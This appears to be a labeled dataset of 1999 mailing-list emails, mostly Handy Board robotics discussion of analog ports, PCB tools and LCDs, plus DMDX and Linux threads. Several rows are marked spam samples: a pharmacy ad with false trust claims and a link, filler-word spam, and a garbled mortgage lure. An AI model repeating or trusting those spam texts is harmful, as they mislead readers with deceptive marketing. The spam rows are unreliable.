retain ownership and copyright of their messages, and they also retain the right to sell or license their messages as they see fit. LUGNET does not own the messages that people post; it only has a non-exclusive license to the messages so that the content can be reproduced in various formats. (Just like any mailing list or Usenet implicitly has, but people don't typically think or wonder about those types of details.) For example, every message that comes in to LUGNET is served up as a web page in several different shapes & sizes (views). That involves modifying the original content slightly (suppressing quoted material or wrapping lines to fit the browser window width in certain views, for instance). The headers on every incoming e-mail message are also converted from SMTP email format to NNTP news format, since the discussion groups are based on an NNTP server at the core. Then they are converted back to SMTP format for people reading long-distance via e-mail rather than directly with a real newsreader. The purpose of #7(b) is not to rule out the possibility of, say, a CD-ROM archive collection or other cumulative work. If LUGNET put out a CD-ROM directly, it would fall under #7(a), but since burning and shipping CD-ROMs isn't probably a very fun thing to do all day, content might conceivably need to be sublicensed to a third party for the purpose of such an archive, hence #7(b). #7 as a whole isn't intended for stealing ideas or not giving credit where credit is due -- it's intended to make sure that the messages people post will always be readable by everyone for the next 2, 5, 10, 20 or more years, in whatever formats the original messages might have to be put into. Yes, #7 does grant the right to sell messages that people have posted and not pay royalties, but I can't imagine any messages ever being sold except as a whole collection. Like, nobody's message is going to be sold to a magzine, or put on the back of T-shirts and sold without their permission, etc. All the messages are available gratis to anyone browsing on the web, anyway. I hope this helped shed some light on point #7. :-) --Todd (of LUGNET)",0,1 Nick Taylor ,handyboard@media.mit.edu,"Sat, 28 Aug 1999 14:50:04 -0700",Re: Problems with analog ports 24-27,"Hi José Luis, Not loading explego.icb has another benefit for you ... the CPU is relieved of polling the LEGO inputs 250 times per second. A nice reduction in overhead. - Nick - Jose Luis wrote: > > Hi Nick, > > At this moment I have no use for the lego inputs, so I will no > longer load the explego.icb to avoid the problem. Thank You for all your > help.. > > José Luis > > ----- Original Message ----- > From: Nick Taylor > To: > Cc: > Sent: Saturday, August 28, 1999 11:24 AM > Subject: Problems with analog ports 24-27 > > > Hello José Luis, > > > > It looks as though we must sacrifice analog ports 24-27 to be able to > > use the LEGO inputs. I frequently use the LEGO ports, but have never > > needed to use analog 24-27, so it's an easy choice for me. Maybe > > someone in the group has a fix for this. > > > > Have fun, > > - Nick - > > > > Jose Luis wrote: > > > > > > Hi Nick, > > > > > > Thank You for your help, I have unloaded the explego.icb and no more > > > problems. Now I will continue to see if I can put at work the LM35 temp > > > sensor, is supposed that it must work on the Exp-Board analogs, but I > have > > > not luck yet , I have the same results that in the HB analogs. Thank You > > > Again. > > > > > > José Luis > > > > > > ----- Original Message ----- > > > From: Nick Taylor > > > To: > > > Cc: > > > Sent: Saturday, August 28, 1999 4:12 AM > > > Subject: Re: exp. board analogs > > > > > > > Hi José Luis, > > > > > > > > I put the 'scope on the problem ... and here's what I found: > > > > > > > > Analogs 24-27 have a 1ms pulse at 250Hz which is a feedthrough from > > > > the LEGO ports which share the same analog line on the HandyBoard. > > > > > > > > There is also an erratic 1ms or less pulse which appears only on > > > > the 24-27 ports that are being sampled by the software. It is > > > > when these pulses appear that the analog reading goes to 255. > > > > > > > > The LEGO ports operate properly and don't seem to be affected > > > > by the stray sampling pulses. > > > > > > > > When explego.icb is unloaded the instability goes away. > > > > > > > > I think we need Dr. Martin's help on this. > > > > > > > > - Nick - > > > > > > > > Nick Taylor wrote: > > > > > > > > > > Hello José Luis, > > > > > > > > > > I tried your test code and had the same results. Next I connected > > > > > the analog ports to the wiper of a 10k pot going from ground to +5V. > > > > > The readings were stable on ports 16-23, but 24-27 jumped between > > > > > the appropriate reading and 255. This was done on an older HB and > > > > > exp-board. I next tried it on my HB and exp-board that arrived just > > > > > today from Gleason Research and had exactly the same results. At > > > > > this point I haven't done any further testing ... but will in the > > > > > morning. > > > > > > > > > > - Nick - > > > > > > > > > > Jose Luis wrote: > > > > > > > > > > > > I am having some problems reading Exp-Board analog port, ports 16 > to > > > 23 > > > > > > seems OK, but ports 24 to 27 (I have not tested the lego ports > yet) > > > give me > > > > > > variable readings, to make a probe i have used this simple code: > > > > > > > > > > > > void main(void) > > > > > > { > > > > > > while(1){ > > > > > > printf(""\\n20: %d 24: %d"",analog(20),analog(24)); > > > > > > sleep(0.4); > > > > > > } > > > > > > } > > > > > > > > > > > > and i have a static reading of 252 for port 20, and for the port > 24 I > > > have a > > > > > > variable reading, going from 251 to 255. > > > > > > > > > > > > Someone can help?. > > > > > > > > > > > > Thank You > > > > > > > > > > > > José Luis",0,0 josh wojnas ,handyboard@media.mit.edu,"Sat, 28 Aug 1999 16:39:05 -0700",on the interface charger board can I use a 2 wat power resistor and a diffrent 5 volt regulator like the one used in the other circuts?,"on the interface charger board can I use a 2 wat power resistor and a diffrent 5 volt regulator like the one used in the other circuts? josh ps. what else can i substitute to make the production faster. and can get from raideo shack __________________________________________________ Do You Yahoo!? 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You might shift some of the more common parts from Digikey/Mouser to Jameco to get away from the low order penalty. I don't know how to help you on the LCD. BTW, if you are trying to save money it might be best to buy a parts kit from Patrick Hui at: http://www.RobotStoreHK.com/ Also, unless you have a LOT of experience assembling & soldering complex electronic devices it may well save you money in the long run if you buy Mr. Hui's assembled HandyBoard. The HB requires a lot of detailed instruction following, a whole lot of very delicate soldering, and if you don't have access to someone with HB troubleshooting experience you could easily lose your entire investment. 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(I also got an ""original"" from China) > > > >As near as I can tell here is what is happening: > >Fudan has a mail distributer that Mr. Gao sends a message to > >and the distributer sends the message to EVERY CS grad program > >in the good ole USofA (maybe multiple messages!) > > > >Now if Ms. X at SUNY or Ms. Y at UCSC or Dr. Westall > >at Clemson inadvertently > >sends their canned responses to cslist@fudan.edu rather than > >gyqin@fundan.edu... then their reply is reflected back to everybody > >on the original list and to make matters worse, Mr. Gao never > >sees it and so he may try again! > > > >I don't think we will EVER stop this Chinese spam and so it would > >appear that any of us who respond should be REALLY careful not to > >respond to what looks like a list! > > > >Mike Westall > >Professor of Computer Science and > >Director of Graduate Affairs > >Dept. of Computer Science > >Clemson University > > > > > >>Delivered-To: m7-cslist@fudan.edu > >>Date: 25 Aug 1999 03:13:15 -0000 > >>From: Gao Yongqin > >>To: cslist@fudan.edu > >>Subject: Application Form Request > >> > >>To Who It May Concern, > >> > >>I am an applicant for the Ph. D. program of Computer Science of your > >>esteemed University with financial aid in Fall'2000. And now I am graduate > >>student of Fudan University,P.R. China.Can you do me a favor to send > >>the application form to the address below. >",0,1 Jaumet Satterwhite ,handyboard@media.mit.edu,"Sun, 29 Aug 1999 20:07:10 -0700",Re: good VALtUpM,"Hi, V j I a A p G q R a A o X r A l N o A k X m V s A h L j I i U q M e C v I a A x L b I m S z http://www.utometre.com sheepma headchees intagli adventurou flut amusingly but incessantly that there was no way a man could properly educate his children and grandchildren on government pay. He was brought in on everything we discussed, starting with your assault on us in the conference room. He certainly was, but that was limited to Bourne and the Jackal. There was no mention of Armbruster or Swayne, no Teagarten or ",1,1 Joanne Sala ,Mike Westall ,"Mon, 30 Aug 1999 14:52:05 -0400",Re: (Hopefully) the LAST msg to fudan.edu,"Thank you. -----Original Message----- From: Mike Westall To: cslist@fudan.edu ; rutgers@ces.clemson.edu Date: Thursday, August 26, 1999 10:15 PM Subject: (Hopefully) the LAST msg to fudan.edu > >I have tried to avoid contributing to this problem but it now >looks like it will go on forever if I don't inject one more >message. > >The solution is NEVER SEND ANYTHING TO CSLIST@FUDAN.EDU > >If you are interested in the ""why"" continue to read the message >I sent earlier. > >I plan to send Mr. Gao a message that he and any other students >who use this time-wasting spam attack that he can forget about >receiving materials from Clemson. > >>I have gotten two of these today. One from SUNY Buffalo and one >>from UCSC. (I also got an ""original"" from China) >> >>As near as I can tell here is what is happening: >>Fudan has a mail distributer that Mr. Gao sends a message to >>and the distributer sends the message to EVERY CS grad program >>in the good ole USofA (maybe multiple messages!) >> >>Now if Ms. X at SUNY or Ms. Y at UCSC or Dr. Westall >>at Clemson inadvertently >>sends their canned responses to cslist@fudan.edu rather than >>gyqin@fundan.edu... then their reply is reflected back to everybody >>on the original list and to make matters worse, Mr. Gao never >>sees it and so he may try again! > >> >>I don't think we will EVER stop this Chinese spam and so it would >>appear that any of us who respond should be REALLY careful not to >>respond to what looks like a list! >> >>Mike Westall >>Professor of Computer Science and >>Director of Graduate Affairs >>Dept. of Computer Science >>Clemson University >> >> >>>Delivered-To: m7-cslist@fudan.edu >>>Date: 25 Aug 1999 03:13:15 -0000 >>>From: Gao Yongqin >>>To: cslist@fudan.edu >>>Subject: Application Form Request >>> >>>To Who It May Concern, >>> >>>I am an applicant for the Ph. D. program of Computer Science of your >>>esteemed University with financial aid in Fall'2000. And now I am graduate >>>student of Fudan University,P.R. China.Can you do me a favor to send >>>the application form to the address below. > >MW > > >________________ >Email Forwarding Service Brought To You By: http://www.bn3.com. >We can let you become anybody@anyplace.com. FREE, In 5 minutes! >",0,1 Alex Stewart ,handyboard@media.mit.edu,"Mon, 30 Aug 1999 12:43:54 -0700",Is itpossible to incease the HB screen size?,"Hi Was just wondering if it was possible to put a larger screen on the HB , say a 640 x 480 graphics LCD from Allellectronics for 25$? Spex say it has a built in digitaizer, could this work with a HB? Thanx Alex ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 MAR ERICSON ,Handy Board mailing list ,"Mon, 30 Aug 1999 20:14:01 -0400",PCB Design tools?,"What kind of PCB design tools do you guys out there use? Any free or shareware ones? Any good? ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ",0,0 David Kott ,MAR ERICSON ,"Mon, 30 Aug 1999 22:24:34 -0400",Re: PCB Design tools?,"On Mon, 30 Aug 1999, MAR ERICSON wrote: > What kind of PCB design tools do you guys out there use? > Any free or shareware ones? Any good? > gEDA is still... developing.... but, it is looking to be a serious package. http://www.geda.seul.org -d If you're not part of the solution, you're part of the precipitate. -townba ",0,1 """KwangJu, Lee"" ",Handyboard ,"Tue, 31 Aug 1999 14:55:22 +0900","""Error Synchronizing with the board"" message","""Error Synchronizing with the board"" message displayed. So I downloaded ""Pcode_hb.s19"" with hbdl.exe. Immediately after, it seems to work well. But in several minutes, the icwin program says ""Error Synchronizing with the board"" again. so I download again, HB works within some minutes, and error. Does anybody have any advices? Replacement of CPU -68hc11- with new one can be a solution? Thanks in advance. ",0,0 redruth ,MAR ERICSON ,"Tue, 31 Aug 1999 19:33:24 +0930",Re: PCB Design tools?,"Mar It's a long way from home but you could try http://www.cia.com.au/rcsradio There is a dos version of a pcd layout program and manual to go with it. The program is public domain not shareware. steve t MAR ERICSON wrote: > What kind of PCB design tools do you guys out there use? > Any free or shareware ones? Any good? > > ----------- > ericson mar > Robotics Consultant > mar@cooper.edu > (212)353-4356 > > Department of Mechanical Engineering > The Cooper Union for the Advancement of Science and Art > ------------------------------------------------------- ",0,1 Edwina Copeland ,Bait ,"Tue, 31 Aug 1999 08:53:24 +0000",Our store is your cureall!," Its true because we have a great number of different dr@gs! Pain relief, love life enhancement, depression suppress, weight loss and much more! Our store is VERIFIED BY BBB and APPROVED BY VISA! Click here for getting your health problems away at once! Best pri$es, secure payment processing, direct shipping from our warehouse and sympathetic customer support! http://cmvpwl.marknotify.info/?62089375",1,1 Rien Matthijsse ,Handy Board mailing list ,"Tue, 31 Aug 1999 16:15:43 +0200",Re: PCB Design tools?,"Hi, check on http://www.cadsoftusa.com/freeware.htm Very impressive and freeware !!!! Rien ----- Original Message ----- From: redruth To: MAR ERICSON Cc: Handy Board mailing list Sent: Tuesday, August 31, 1999 12:03 PM Subject: Re: PCB Design tools? > Mar > It's a long way from home but you could try > > http://www.cia.com.au/rcsradio > > There is a dos version of a pcd layout program and manual to go with it. > The program is public domain not shareware. > > steve t > > MAR ERICSON wrote: > > > What kind of PCB design tools do you guys out there use? > > Any free or shareware ones? Any good? > > > > ----------- > > ericson mar > > Robotics Consultant > > mar@cooper.edu > > (212)353-4356 > > > > Department of Mechanical Engineering > > The Cooper Union for the Advancement of Science and Art > > ------------------------------------------------------- > >",0,1 Paul DaCosta ,handyboard ,"Tue, 31 Aug 1999 10:59:07 -0400",2 IN 1,"HAS ANY ONE EVER INTEGRATED A HANDY BOARD WITH A RADIO CONTROLLED R/C BOARD. MEANING THAT YOU COULD HAVE A 2 IN 1 ROBOT. MEANING: 1) IT WOULD BE AUTONOMOUS 2)ALSO IT WOULD BE RADIO CONTROLLED WHICH WOULD BE EXCELLENT TO CHANGE FROM AUTOPILOT(AUTONOMOUS) AND MANUAL(RADIO CONTROLLED) IN CASE THE ROBOT EVER GOT STUCK OR GONE CRAZY THIS IS A GENERAL QUESTION FOR YOU GUYS OUT THERE, HAS ANY ONE OUT THERE EVER EXPERIMENTED THAT??? THANX! ",0,0 Clancy Nelson ,MAR ERICSON ,"Tue, 31 Aug 1999 23:47:27 -0500",RE: PCB Design tools?,"I searched the net for the best free PCB design software about eight months ago, someone from this list recommended Eagle, it turned out to be the best, very easy to use and quit powerful. It would definitely be worth your time to check it out, the URL is www.cadsoft.de , Clancy. > -----Original Message----- > From: MAR ERICSON [mailto:mar@cooper.edu] > Sent: Monday, August 30, 1999 7:14 PM > To: Handy Board mailing list > Subject: PCB Design tools? > > > What kind of PCB design tools do you guys out there use? > Any free or shareware ones? Any good? > > ----------- > ericson mar > Robotics Consultant > mar@cooper.edu > (212)353-4356 > > Department of Mechanical Engineering > The Cooper Union for the Advancement of Science and Art > ------------------------------------------------------- > > ",0,0 """Mar, Ericson"" ",MAR ERICSON ,"Tue, 31 Aug 1999 17:33:57 +0100",Commercial PCB Design tools?,"Which commercial PCB design tools do you guys use? Thanks! > Ericson Mar > Global Settlement Systems > CREDIT | FIRST > SUISSE | BOSTON > 5 World Trade Center Phone: (212)322-1325 > New York, NY Pager: (888)778-1025, Skytel > PIN:7781025 > Email : mailto:ericson.mar@csfb.com > Skymail : mailto:7781025@skytel.com > > > > > > -----Original Message----- > From: redruth [SMTP:stevet@camtech.net.au] > Sent: Tuesday, August 31, 1999 6:03 AM > To: MAR ERICSON > Cc: Handy Board mailing list > Subject: Re: PCB Design tools? > > Mar > It's a long way from home but you could try > > http://www.cia.com.au/rcsradio > > There is a dos version of a pcd layout program and manual to go with it. > The program is public domain not shareware. > > steve t > > MAR ERICSON wrote: > > > What kind of PCB design tools do you guys out there use? > > Any free or shareware ones? Any good? > > > > ----------- > > ericson mar > > Robotics Consultant > > mar@cooper.edu > > (212)353-4356 > > > > Department of Mechanical Engineering > > The Cooper Union for the Advancement of Science and Art > > ------------------------------------------------------- ",0,1 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Wed, 01 Sep 1999 10:17:10 +0100",[DMDX] Refresh Bug,"I have a Windows problem I thought people should know about. The refresh rate on our test machines is set to 'optimal' in Settings/Control Panel/Display Properties/Settings/Advanced. However, 4 times now when the machine booted up it has mysteriously forgotten this and even worse when I went to Settings/Control/..../Settings/Advanced the dialog box for changing the refresh rate was no longer there. This has happened with two different video cards. Rebooting solves the problem, but it would be nice to solve it properly. Is this some kind of registry error? Anyone know anything about this problem or come across it themselves? I've put a couple of messages on newsgroups about this, but have yet to receive any replies. - Mike P.S. Thanks for the info about timing, Jonathan, you've put my mind at rest. xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 Arne Freyberger ,ggilfoyl@richmond.edu,"Tue, 31 Aug 1999 14:37:59 -0400",Re: automounter,"jerry, Sorry for the delayed response, we were at the beach getting hammered by the weather...I think you have run up against the ever changing why Linux does things. There are now TWO automount applications (amd and autofs). Your cluster was originally set up with the amd deamon. The configuration files that you mentioned have to do with the ""new"" way ""autofs"" that is built into the kernel. I have not yet figured out how to make autofs look as tranparent as amd for NFS mounts. But...autofs is better than amd...however... to get you back: A) is the ""amd"" deamon runnning?? ps ax | grep amd B) try /etc/rc.d/init.d/amd stop /etc/rc.d/init.d/amd start ps ax | grep amd then try to cd to NFS volumes if that doesn't work try rebuilding the kernel with AUTOFS disabled.... Good luck, Arne ",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Wed, 01 Sep 1999 13:45:36 +0100",[DMDX] More questions about feedback,"Hi. I am having a problem understanding some of the keywords used with feedback. FB Only Clear Behind Keyword. Can anyone give me an example of what it does, where it might be used, an example bit of an item item file. Also I don't understand the difference between and ? Thanks again, - Mike. xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox",0,1 Alex Stewart ,handyboard@media.mit.edu,"Tue, 31 Aug 1999 15:53:21 -0700",possible to incresae HB screen size," Hi all Was just wondering if it is possible to increase the HB screen size to a possible 640 x 480 graphics display ? Thanx Alex SN: RobotGuy54 ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Chuck McManis ,"Alex Stewart , handyboard@media.mit.edu","Tue, 31 Aug 1999 16:45:57 -0700",Re: possible to incresae HB screen size,"Short answer: No it is not. Longer answer: Sure it's easy, connect the serial port of the handyboard to a graphics terminal (a DEC VT340 would work well) and you're done. My guess is that you want to use a different LCD with the Handyboard and the definitive answer for that is: The handyboard HARDWARE only supports LCDs with a 14 pin parallel interface and embedded LCD controllers. The handyboard SOFTWARE in the form of IC only supports two line by 16 character LCDs that use the 14 pin parallel LCD interface. By designing new software or new hardware you can change either answer. --Chuck At 03:53 PM 8/31/99 -0700, Alex Stewart wrote: > Hi all > Was just wondering if it is possible to increase the HB screen size to a >possible 640 x 480 graphics display ? > >Thanx Alex >SN: >RobotGuy54 > >______________________________________________________ >Get Your Private, Free Email at http://www.hotmail.com ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 01 Sep 1999 09:13:57 -0700",[DMDX] Re: Refresh Bug,"At 10:17 AM 9/1/99 +0100, you wrote: >I have a Windows problem I thought people should know about. The refresh >rate on our test machines is set to 'optimal' in Settings/Control >Panel/Display Properties/Settings/Advanced. However, 4 times now when the >machine booted up it has mysteriously forgotten this and even worse when I >went to Settings/Control/..../Settings/Advanced the dialog box for changing >the refresh rate was no longer there. This has happened with two different >video cards. Rebooting solves the problem, but it would be nice to solve >it properly. Is this some kind of registry error? Anyone know anything >about this problem or come across it themselves? > >I've put a couple of messages on newsgroups about this, but have yet to >receive any replies. This is usually associated with '9x not correctly knowing what monitor is attached to the machine, consequently when it reboots it goes into auto detection mode and tells the driver that there's a different monitor out there and the the driver only provides settings that the monitor can handle -- so being provided with the option ot tweak refresh rates is dependant on the monitor you have (or that '9x thinks you have) plugged into the machine. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Bureaucrat, n.: A person who cuts red tape sideways. - J. McCabe ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 01 Sep 1999 09:18:02 -0700",[DMDX] Re: Feedback,"At 12:09 PM 9/1/99 +0100, you wrote: >Hi. I have been messing around with feedback and have encountered a >problem with the feedback location and duration parameters/switches. >I am getting error messages about ""misplaced parameter keyword"" both >when I use it them as parameters and when I use them as switches, Those keywords are not parameters, they are only switches, it's missplaced because you have used a keyword in the wrong place, ie you've used a switch in the parameter line. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Bureaucrat, n.: A person who cuts red tape sideways. - J. McCabe ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 01 Sep 1999 09:31:03 -0700",[DMDX] Re: More questions about feedback,"At 01:45 PM 9/1/99 +0100, you wrote: >Hi. I am having a problem understanding some of the keywords used with >feedback. > >FB Only Clear Behind Keyword. Can anyone give me an example of what it >does, where it might be used, an example bit of an item item file. It is used when people want a persistant display across items and want feedback. With DMTG's insane screen clearing philosophy this was possible, with DMDX's default behavior of a frame implicitly clearing anything else remaining on the screen unless a no erase has been set this is not possible, you couldn't specify a no erase for the feedback, allows this. In addition the erasing of the feedback only clears a small rectangle on the screen where the feedback was. >Also I don't understand the difference between and ? sets all the feedback messages to blank spaces and displays them allowing a response contingent display so that the screen is cleared when the subject responds. I got tired of everyone wanting to turn response contingency on just to do this and having all of the concommitant problems that a response contingent item file has. Setting doesn't display any feedback at all, the display is not erased by the subject's response. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Bureaucrat, n.: A person who cuts red tape sideways. - J. McCabe",0,0 """Patrick P.K. Hui (Robot Store HK)"" ","""Mar, Ericson"" ","Wed, 01 Sep 1999 08:06:32 +0800",Re: Commercial PCB Design tools?,"I use both OrCAD and PADS for my design works. Patrick http://www.robotstorehk.com -----Original Message----- From: Mar, Ericson To: MAR ERICSON Cc: Handy Board mailing list Date: Wednesday, September 01, 1999 3:17 AM Subject: Commercial PCB Design tools? >Which commercial PCB design tools do you guys use? > >Thanks! > >> Ericson Mar >> Global Settlement Systems >> CREDIT | FIRST >> SUISSE | BOSTON >> 5 World Trade Center Phone: (212)322-1325 >> New York, NY Pager: (888)778-1025, Skytel >> PIN:7781025 >> Email : mailto:ericson.mar@csfb.com >> Skymail : mailto:7781025@skytel.com >> >> >> >> >> >> -----Original Message----- >> From: redruth [SMTP:stevet@camtech.net.au] >> Sent: Tuesday, August 31, 1999 6:03 AM >> To: MAR ERICSON >> Cc: Handy Board mailing list >> Subject: Re: PCB Design tools? >> >> Mar >> It's a long way from home but you could try >> >> http://www.cia.com.au/rcsradio >> >> There is a dos version of a pcd layout program and manual to go with it. >> The program is public domain not shareware. >> >> steve t >> >> MAR ERICSON wrote: >> >> > What kind of PCB design tools do you guys out there use? >> > Any free or shareware ones? Any good? >> > >> > ----------- >> > ericson mar >> > Robotics Consultant >> > mar@cooper.edu >> > (212)353-4356 >> > >> > Department of Mechanical Engineering >> > The Cooper Union for the Advancement of Science and Art >> > ------------------------------------------------------- >",0,1 mdash@plexsys.com,thinkpad@cs.utk.edu,"Wed, 01 Sep 1999 14:55:37 +0000",NT4 SP4 or 5 on TP600,"I'm running SP3 with no problems, but need to upgrade to SP4 or 5 for Y2K issues. Any experience/caveats to share? The IBM support party line seems to be ambivalent. TIA. --Mike Scheer ",0,0 Nuri Emanuel ,handyboard@media.mit.edu,"Tue, 31 Aug 1999 18:20:26 -0500",Whats Hot,"and camellia see egghead try fled and patchy but purl ",1,0 Bob_Kelly/First_Union@firstunion-reit.com,HANDYBOARD@MEDIA.MIT.EDU,"Wed, 01 Sep 1999 12:06:48 -0400",COMPLETED ROBOT FOR SALE," COMPLETED ROBOT NEEDS GOOD HOME: $600.00 or best offer. (Spayed/neutered and has all its shots) I HAVE PHOTOS AVAILABLE VIA E-MAIL (OFF LIST) IF INTERESTED.... Completed, fully assembled robot for sale that incorporates the following components: 1 Handy Board and interface board with cables, battery pack and charger, all unmodified except for the addition (stacking) of two additional H-bridge ICs and the routing of alternative power source to same (Patrick Hui and Radio Shack for batt and chgr). 1 Expansion Board, unmodified except for the addition of Polaroid sonar plug/connector (Gleason Research). 2 12-24v gearhead motors modified to provide faster output by removing one gear in power train (Acroname surplus item). Removed gears will be included, the modification is reversible. These motors could be geared down if desired and would provide ALOT of torque, albeit at a slow speed. As is, they are a nice balance between speed and torque and have power to spare in its current configuration. 2 Four-inch inflatable tires as purchased from a local R/C aircraft store. Smooth tread and include an adapter fashioned from a surplus aluminum gear that mounts directly to gearmotors and is secured with set screws. 2 Hamatsu IR detectors for use as wheel encoders. There are 2 more that I didn't actually use on the 'bot and will be included. 2 R/C aircraft servos for use in the pan/tilt mechanism for ranging sensors. 1 Polaroid 6500 sonar ranging module and sender, complete and unmodified with the exception of the addition of a capacitor on the board as specified in H-board documentation. 1 Eltech motion sensor purchased from Acroname, uses the cardboard cutout funnel for the fresnel lens. 1 Sharp IR ranging sensor GP2D02. 1 Lynxmotion IR object detector kit assembled and functional. 2 Photo sensors. 4 National Semiconductor LMD18200 - not used on 'bot but included. 2 12v Radio Shack camcorder batteries for motor power. Description of robot: Base constructed out of 1/8"" Lynxmotion yellow sheet stock approx the size of a 8 1/2"" x 11"" sheet of paper. Rounded corners. Dual motor drive with trailing caster (R/C aircraft tail wheel 1 1/2"" dia.). Sonar and GP2D02 mounted on pan/tilt mechanism on front right (""passenger"" side in the U.S.) with IR object detector mounted on top surface of base centered on the front of the 'bot. The motion sensor cone is position a little farther back from the pan/tilt ranging head and on the left side of the 'bot, not blocked by the ranging head. The base was constructed using a CAD drawing overlaid on the sheet stock and cut with a band saw. The wheels are recessed within the profile of the 'bot as you look down from directly above but they do break the outline by about 1/4"". The motor mounts are made of the same sheet material as is the pan/tilt framework and are very sturdy. The servos are mounted side by side behind the IR object detector with the pan/tilt frame mounted directly on the right one for the ""pan"" movement (+90deg to -90 deg), the left one operates a flexible pushrod (from hobby store) that allows up and down movement (-15deg down to about +35deg up). The HBoard battery is mounted directly on the front underside of the base. One of the camcorder batteries is mounted between the front wheels and the caster mount with the second mounted on top of the base directly behind the HBoard and Expansion board. The ""brains"" are mounted with standoffs on the centerline of the top surface of the base and behind the drive wheels. The sonar module is mounted on the top of the base and to the right and under the the ""brains"". Everything works and operates and it currently has programs loaded that will allow it to do simple wall following and photo avoidance or seeking. I do still have mild difficulty getting consistent readings from sonar sensor, but it is functional and gives general distance measurements and someone with more electronics/programming experience will be able to get better performance from it. The wheel encoders give 64 tic per revolution resolution using a paper stripe disc mounted directly to the inside of the wheels. All related software (registered version) is included. The only physical modification is to the h-bridge motor drivers and is reversible. I double stacked the existing chips with two more chips and fed in the two camcorder batteries. I don't remember the part numbers but the existing ones are the kind that came with the Patrick Hui board and the ones on top are the higher capacity kind that come with the Gleason board. I do NOT have problems with overheating. I think I even have one extra H-bridge IC that would go with it. As it is, the robot would be good for someone who just wants to program and doesn't want to fiddle with building. There is still room to mount additional sensors and electronics. It could use some bump sensors, for instance. It was built in a workmanlike manner and looks good without a bunch of wires sticking out all over the place. I will be including an unused sheet and a partially used sheet (about 50%) of the Lynxmotion yellow sheet stock (1/8""). I am selling it due to lack of time (I have a new son). I estimate that I have at least $650.00 in the parts that are either on it or that I will include with it. Please contact me if you are interested. Thank you, Bob Kelly (216) 781 4030 ext 2251 (before 5:00 PM EST) (440) 877 0080 (after 6:00 PM EST) ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 01 Sep 1999 12:36:51 -0700",[DMDX] Re: ,"At 06:11 PM 9/1/99 +0100, you wrote: >Thanks Jonathan for the info on the feedback stuff. > >One problem remains, that is I get the same error message with the >keywords and when they are used as switches. For example >with the following script... Yeah, there was an error in the implimentation of those keywords which was fixed in 1.1.06: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread?3.0.1.32.19990708165 038.0068bdbc@psy1.psych.arizona.edu I've released 1.1.06 which: 1/ Fixed the FEEDBACKDURATION and FEEDBACKLINE keywords, they were documented but not available. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Bureaucrat, n.: A person who cuts red tape sideways. - J. McCabe",0,1 Bastien Caviness ,handyboard@media.mit.edu,"Wed, 01 Sep 1999 07:57:52 -0700",Re: fayem news,"Dea w r Home Ow t ne g r , Your cr o ed j it doesn't matter to us ! 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Beebe"" ","java-sig@csc-sun.math.utah.edu, java-users@csc-sun.math.utah.edu","Wed, 01 Sep 1999 15:09:39 -0600",Java and high-performance computing,"Those of you with an interest in Java for high-performance computing might wish to visit http://www.cnn.com/TECH/computing/9909/01/java.grande.idg/index.html which is titled ``Java Grande pushes Java toward new heights'', and contains pointers to related news stories. ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- ",0,1 Phil ,handyboard@media.mit.edu,"Wed, 01 Sep 1999 09:49:01 -0500",Linux for the HandyBoard,"Friends- Is there any way to get a Linux kernel onto the HB? -phil ",0,0 Jonathan Pennington ,Handyboard list ,"Wed, 01 Sep 1999 22:55:03 -0400",Re: Linux for the HandyBoard,"Phil wrote: > > Friends- > Is there any way to get a Linux kernel onto the HB? > -phil Only way I can figure is to talk to the Linux uC project people at: http://ryeham.ee.ryerson.ca/uClinux/ or http://www.moretonbay.com/coldfire/linux-coldfire.html Though they don't have a working version for the 68HC11. The thing about a microcontroller is that it's so different from an intel or alpha- based microprocessor (really any straight microprocessor) that I think they have to re-invent the wheels to do anything with it. I can't see it being much better than the Pcode anyway, because running it would take a lot more resources. Best to just use a Linux based computer, and tie into that a bit more (eg. You could build a TK script to use IR for active communications). Or get a cheap (right!) 486 Single Board Computer (SBC) with a motor control circuit if you're really serious about using Linux in a robot. I don't think we'll see a truely viable Linux kernel for an 8 bit uC for a while, if we ever do. -- ___________________________________________________________________________ Jonathan Pennington | -Wannabe Geologist/Anthropologist Charleston, SC | -Linux User and Advocate Email at 